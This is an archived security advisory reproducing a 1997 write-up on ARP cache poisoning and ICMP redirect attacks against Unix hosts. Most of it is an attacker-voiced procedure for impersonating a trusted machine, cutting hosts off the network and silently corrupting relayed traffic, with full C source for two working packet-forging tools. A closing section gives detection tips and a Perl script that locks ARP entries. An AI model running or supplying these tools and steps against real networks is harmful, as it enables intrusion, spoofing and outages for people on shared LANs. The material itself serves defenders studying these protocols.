COMMAND
ARP & ICMP
SYSTEMS AFFECTED
Most unices
PROBLEM
Following text i based on Yuri Volobuev post about 'Playing redir
games with ARP and ICMP'.
[ -Intro- ]
There're bugs and there're features. All too often the
distinction between the two is in the eye of the beholder. I'd
like to show how two legitimate protocols, ARP and ICMP, while
properly implemented, can be used to achieve something which is,
well, not desirable.
While passive attacks (sniffing) that take advantage of the root
access to LAN are extremely popular and every half-way decent
root kit has some kind of a net sniffer, active attacks are not
nearly as widespread. Yet, active participation in the life of
your LAN may bring lots of fun and joy. You knew that already,
it's just that technical details had been somewhat obscure. So,
let there be more light.
Possibilities outlined here include spoofing and DoS. While
other means of spoofing, such as IP blind spoofing, are more
general and powerful, in terms of who can use them, they require
quite a lot of (guess)work and may be hard to implement. ARP
spoofing, on contrary, is very easy and robust.
While ARP spoofing is only possible on a local network, it may be
a serious concern as a way to extend an already existing security
breach. If somebody can break into one machine on a subnet, ARP
spoofing can be used to compromise the rest of it.
[ -Background on ARP- ]
[originally Yuri wrote few paragraphs outlining arp, but then he
figured that if you didn't know how it works already, you'll need
to learn it from a better source. It is recommended "TCP/IP
Illustrated" by W.Richard Stevens.]
[ -What can be done- ]
Let's consider a hypothetical network
IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
hostname cat rat dog bat
hw addr AA:AA BB:BB CC:CC DD:DD (for short)
all connected by Ethernet in some simple way (i.e. no switches,
no smart hubs). You're on cat, you have root and desire to break
into dog. You know that dog trusts rat, so if you can
successfully spoof rat, something can be gained.
First thing that comes to mind about this at some point) is "why
don't I set my IP to the IP of that other machine and..." That
won't work, at least it won't work reliably. If you tell
Ethernet driver on cat that it's IP is 10.0.0.2, it'll start
answering ARP requests to that IP. But so will rat. It's a pure
race condition, and there's no winner. However, you can easily
be the loser, because this particular situation happens quite
often when some box is misconfigured to use somebody's else's IP,
so many implmentations immedeately notice that and loudly
complain. Many network traffic analyzers flag that, too. Seeing
a syslog message saying something nasty (mentioning cat's
Ethernet address) on the LAN admin's console is not quite what
you want. And what you want you won't necessarily get, that is
getting anything remotely close to a working connection.
This of course can be helped. The attached program, send_arp.c,
can be a useful tool. Just as its name says, it sends an ARP
packet [ARP reply, to be exact: since the protocol is stateless,
reply will be happily accepted even if no one ever asked for it.
Request would do just as well, though, because of the ARP caching
logic] to the net, and you can make this packet to be what you
want. What you want is an ability to specify source and target
IP and hardware addresses.
First, you don't want your Ethernet driver to talk too much, and
it's easy to accomplish with ifconfig -arp. Of course, it'll
need ARP info anyway, so you'll have to feed it to the kernel
manually with arp(8). The critical part is convincing your
neighbours. In the case being described here, you want dog to
believe that rat's hardware address is that of cat (AA:AA), so
you send ARP reply with source IP 10.0.0.2, source hw address
AA:AA, target IP address 10.0.0.3 and target hardware address
CC:CC. Now, for all dog knows, rat is at AA:AA. Cache entry
would expire, of course, so it needs to be updated (request needs
to be resent). How often depends on the particular system, but
every 40 sec or so should be sufficient for most cases. Send it
more often if you want, it won't hurt.
A complication here could come from an ARP caching implementation
feature. Some systems (e.g. Linux) would try to update their
cache entries by sending a unicast ARP request to the cached
address (like your wife calling you just to make sure you're
there). Such a request can screw things up, because it could
change victim's ARP entry that we just faked, so it must be
prevented. This can be accomplished by feeding the "wife" system
with replies so that it never has to ask for it. Prevention is
the best cure, as always. This time, a real packet from dog to
rat should be sent, it's just that cat will be sending it, not
dog, but for rat there's no way to tell. Again, doing it about
every 40 sec is usually OK.
So the procedure is simple. Bring up an alias interface, e.g.
eth0:1 (or use your current one, whatever), with rat's IP and ARP
on -- you need to set up some cache entries first, and it won't
work on non-arp interface. Set up a host route entry for dog
through the right interface. Set up a cache entry for dog, turn
off arp, and it's all set.
Now, inject the venom with send_arp (hitting both dog and rat)
and for all dog knows, you're on rat. Just remember to keep
sending those ARP packets to dog and rat.
This attack only works on the local network, of course (in
general, it can reach as far as ARP packets can get, usually not
too far because ARP packets are almost never routed). But an
interesting extension here is taking this outside by replacing
dog's hardware address in the above plan with the router's. If
it works (I'm not sure it always will, router's ARP
implementation may be tougher to fool, and since I don't want to
try it on real routers, I don't know, but there's no simple
reason why not) you can easily impersonate any machine on the
local network to the rest of the world. So the target machine
could really be anywhere, but the machine you're impersonating
must be on the same LAN.
[ -What else can be done- ]
Aside from spoofing, there's range of other things you can do
with ARP. The sky is really the limit here. DoS is the most
obvious application.
Feeding victim wrong hardware address is a powerful way to make
it mute. You can prevent it from talking to any particular
machine (and ARP cache size usually allows for the whole network
to fit in, so effectively you can stop it from talking to
everybody for some time). Obvious target would be the router.
Cache poisoning again should be two-way: both the victim system
and the system you don't want victim to talk to should be fed.
The simplest case would be feeding a non-existant address. It's
not the most efficient, though, as the system will quickly
realize that it's talking to nobody and send out an ARP request.
Of course, your next drop of poison will nullify this, but you
have to do it quite often. A more efficient approach here is
feeding the victim with the hardware address of the wrong
machine, which itself is alive and well. Again, it depends on a
particular situation, but very often what happens is that victim
keeps sending out packets of various types that arrive to the
wrong destination, and destination system will promptly send ICMP
Xxx Unreachable messages back, thus emulating a connection in
some perverted way. This pseudo-conection can easily postpone
cache expiry. On Linux, for example, pseudo-connection raises
cache expiry from usual 1 min to about 10 min. By that time,
most or all TCP connections are screw up. Could be quite
annoying. This way, one ARP packet can screw someone.
An interesting twist here is so-called "gratuitous ARP". It's
when the source and target IPs in the ARP request are the same,
and it usually appears in a form of an Ethernet broadcast. Some
implementations recognize it as a special case, that of a system
sending out updated information about itself to everybody, and
cache that request. This way one packet could screw up the
entire network. It must be admitted, though, that gratuitous ARP
is not really defined as a part of ARP, so it's up to vendor to
(not) implement it, and it's becoming increasingly less popular.
ARP is a serious tool for professional practical jokes, too.
Just imagine somebody setting up a relay, or tunnel, in a form of
own machine that convinced two neighbours to send their packets
intended for each other to relay's Ethernet. If relay just
forwards packets to their real destinations, no one would even
notice. However, some simple data stream modifications could
have quite a spectacular effect on one's mental health. A
simple, CPU-inexpensive "filter" could be swapping random two
bytes at irregular long intervals. If it hits the data portion,
most of the checksums won't change, i.e. data stream would seem
to be intact, yet strange and unexplicable things _will_ happen
for no apparent reason.
[ -ICMP redirects- ]
An effect somewhat similar to ARP cache poisoning can be achieved
in a different way, again using a legitimate protocol feature,
ICMP route redirects. Such a redirect is normally sent by the
default router to the system to indicate that there's a shorter
route to some particular destination. Originally, both network
and host route redirects were proposed, but later net redirects
were deprecated and now are usually treated as host redirects.
Properly constructed ICMP packet that passes all sanity checks
(it must come from the default router for the destination it's
redirecting, new router should be on a directly connected
network, etc.) it causes a host-route entry be added to the
system routing table.
The concept is just as secure as ICMP itself, i.e. (security)NULL.
Spoofing routers IP address is simple, and attached icmp_redir.c
does just that. Host Requirements RFC states that system MUST
follow ICMP redirects unless it's a router. And indeed all the
systems tested happily accept it (except vanilla Linux 2.0.30,
where it's broken, it works in 2.0.29 and 2.0.31pre9, according
to Alan Cox).
ICMP redirects present a rather potent DoS. Unlike ARP cache
entries, those host routes won't expire with time. And of course
no access to local network is required, attack can be launched
from anywhere. So if the target system does accept ICMP
redirects (and packets can actually reach it) that system can be
stopped from talking to any particular address on the net (well,
not all, but those that aren't on the same subnet with the
target). Nameservers would be an obvious target.
/* send_arp.c
This program sends out one ARP packet with source/target IP and
Ethernet hardware addresses suuplied by the user. It compiles
and works on Linux and will probably work on any Unix that has
SOCK_PACKET.
The idea behind this program is a proof of a concept, nothing
more. It comes as is, no warranty. However, you're allowed to
use it under one condition: you must use your brain
simultaneously. If this condition is not met, you shall forget
about this program and go RTFM immediately.
yuri volobuev'97
volobuev@t1.chem.umn.edu
*/
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define DEFAULT_DEVICE "eth0"
char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};
struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);
int main(int argc,char** argv){
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
if(argc != 5)die(usage);
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);
get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);
get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);
memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr(struct in_addr* in_addr,char* str){
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s\n",str);
exit(1);
}
}
}
void get_hw_addr(char* buf,char* str){
int i;
char c,val;
for(i=0;i<ETH_HW_ADDR_LEN;i++){
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf++ |= val;
if(*str == ':')str++;
}
}
---
and
---
/* icmp_redir.c
This program sends out an ICMP host redirect packet with gateway
IP supplied by user. It was written and tested under Linux 2.0.30
and could be rather easily modified to work on most Unices.
The idea behind this program is a proof of a concept, nothing
more. It comes as is, no warranty. However, you're allowed to
use it under one condition: you must use your brain
simultaneously. If this condition is not met, you shall forget
about this program and go RTFM immediately.
yuri volobuev'97
volobuev@t1.chem.umn.edu
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#define IPVERSION 4
struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};
struct raw_pkt* pkt;
void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);
int main(int argc,char** argv){
struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet. \
yuri volobuev'97\n\
usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;
if(argc != 5)die(usage);
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}
sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);
memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
sizeof(struct iphdr));
pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
unsigned long int get_ip_addr(char* str){
struct hostent *hostp;
unsigned long int addr;
if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %s\n",str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
SOLUTION
ARP is low level protocol and as such is usually hidden from
normal people. LAN admins may be concerned with it at times, but
if all goes well no one pays attention. One can always inspect
contents of ARP cache using arp(8), especially if there's some
misterious network problem, but again it's not the first thing
that comes to mind. Even W95 has arp command, and remembering
about it may be helpful in certain situations. However, if
you're the target of the attack originating from another network
via gateway arp spoofing, there's no way to tell. Similarly,
host routing table could be examined to spot ICMP-generated
entries (in most versions of route(1) they are marked with D
letter in flags field). Just be aware.
The above ARP attack scheme work perfectly for plain old 10Base2
Ethernet. However, if machines are interconnected in some more
advanced way, particularly using some smart hubs or switches,
attack can be more visible or even impossible (same goes for
passive attacks). So there's yet another reason to invest in a
good piece of network equipment. A good deal of peace of mind
may just come with it.
In general, however, you may personally find it rather sad that
things like ICMP redirects were made a default. First, it's
often not necessary because many networks have very simple
structure and there's never a need for anything in addition to
usual routing table. Second, on more sophisticated networks
routing table can be just as well set manually, it's not really
such a dynamic thing, so why do it via ICMP? And finally, it's
dangerous, so you might like to disable it on your systems, even
though it'll make them less compliant with RFC1122. Alas, it may
not be easy. On Linux or any other OS with sources available, you
can at least hack the kernel and #define it out. On Irix 6.2 and
possibly other versions one can set icmp_dropredirects=1 with
systune. Other OSes can be configurable, too, no information.
And old wisdom still shine bright though time: don't use
hostname-only based auth. Those who do shall have no mercy from
net gods.
There are many people use "i have firewall, and I like it,
therefore everyone else should get one or get lost" logic to
argue that certain security problems are less serious because
they can be effectively eliminated by putting a firewall between
the protected network and Internet. While we can fully agree
that having firewall is very good for security, Yuri notes
that it's not always possible or effective.
Imagine an environment where all machines are directly connected
to Internet, you have to share subnet with people you don't know
who have vanilla SGI boxes screaming "hack me pleeeease, my
vendor did such a great job of making it eeeeeeasy" all over the
place (and sure, these people know Unix, they've seen it in
Jurassic Park... and that would be about it), and the router to
your subnet is controlled by a separate organization. Welcome to
a standard academic environment, where people don't use firewalls.
In fact, in some of those environments one would be useful to
protect the outside world from the people on the inside. Still,
people work there, and use computers, too. And that's where
per-host security solutions are necessary, it's a jungle where
every host is for itself. So please, next time you think
"firewall", remember, it's not for everyone.
John Goerzen wrote a short Perl script designed to be run from the
system startup file. Basically, it "primes" the ARP cache on
Linux with the IP and MAC addresses of known machines, setting a
flag so that they are never removed from the cache and can never
be changed. The config file format is simple -- IP address
followed by MAC address, separated by whitespace. Pound at the
beginning of a line indicates comment.
This has only been tested on Linux -- people on other platforms
may need to adjust the parameters to arp in the system call.
Note: you want to make sure that it is run after your network
interface is brought up but before any servers or clients are
started; otherwise, somebody may be able to sneak in a connection
before the ARP tables are "locked". Here's the script:
#!/usr/bin/perl
# by John Goerzen <jgoerzen@cs.twsu.edu>
# Program: forcehwaddr
# Program to run ARP to force certain tables.
# Specify filenames to read from on command line, or read from stdin.
foreach (<>) { # For each input line....
chomp; # Strip if CR/LF
if (/^#/) { next; } # If it's a comment, skip it.
if (((($host, $hw) = /\s*(.+?)\s+(\S+)\s*/) == 2) &&
!(/^#/)) {
# The text between the slashes parses the input line as follows:
# Ignore leading whitespace. (\s*)
# Then, start matching and put it into $host ($host, (.+?))
# Skip over the whitespace after that (\s+)
# Start matching. Continue matching until end of line or optional
# trailing whitespace.
# Then, the if checks to see that both a
# host and a hardware address were matched.
# (2 matches). If not, we skip the
# line (assuming it is blank or invalid or something).
# The second part of the if checks to see if the line starts with
# a pound sign; if so, ignore it (as a comment).
# Otherwise, run the appropriate command:
printf("Setting IP %-15s to hardware address %s\n", $host, $hw);
system "/usr/sbin/arp -s $host $hw\n";
}
}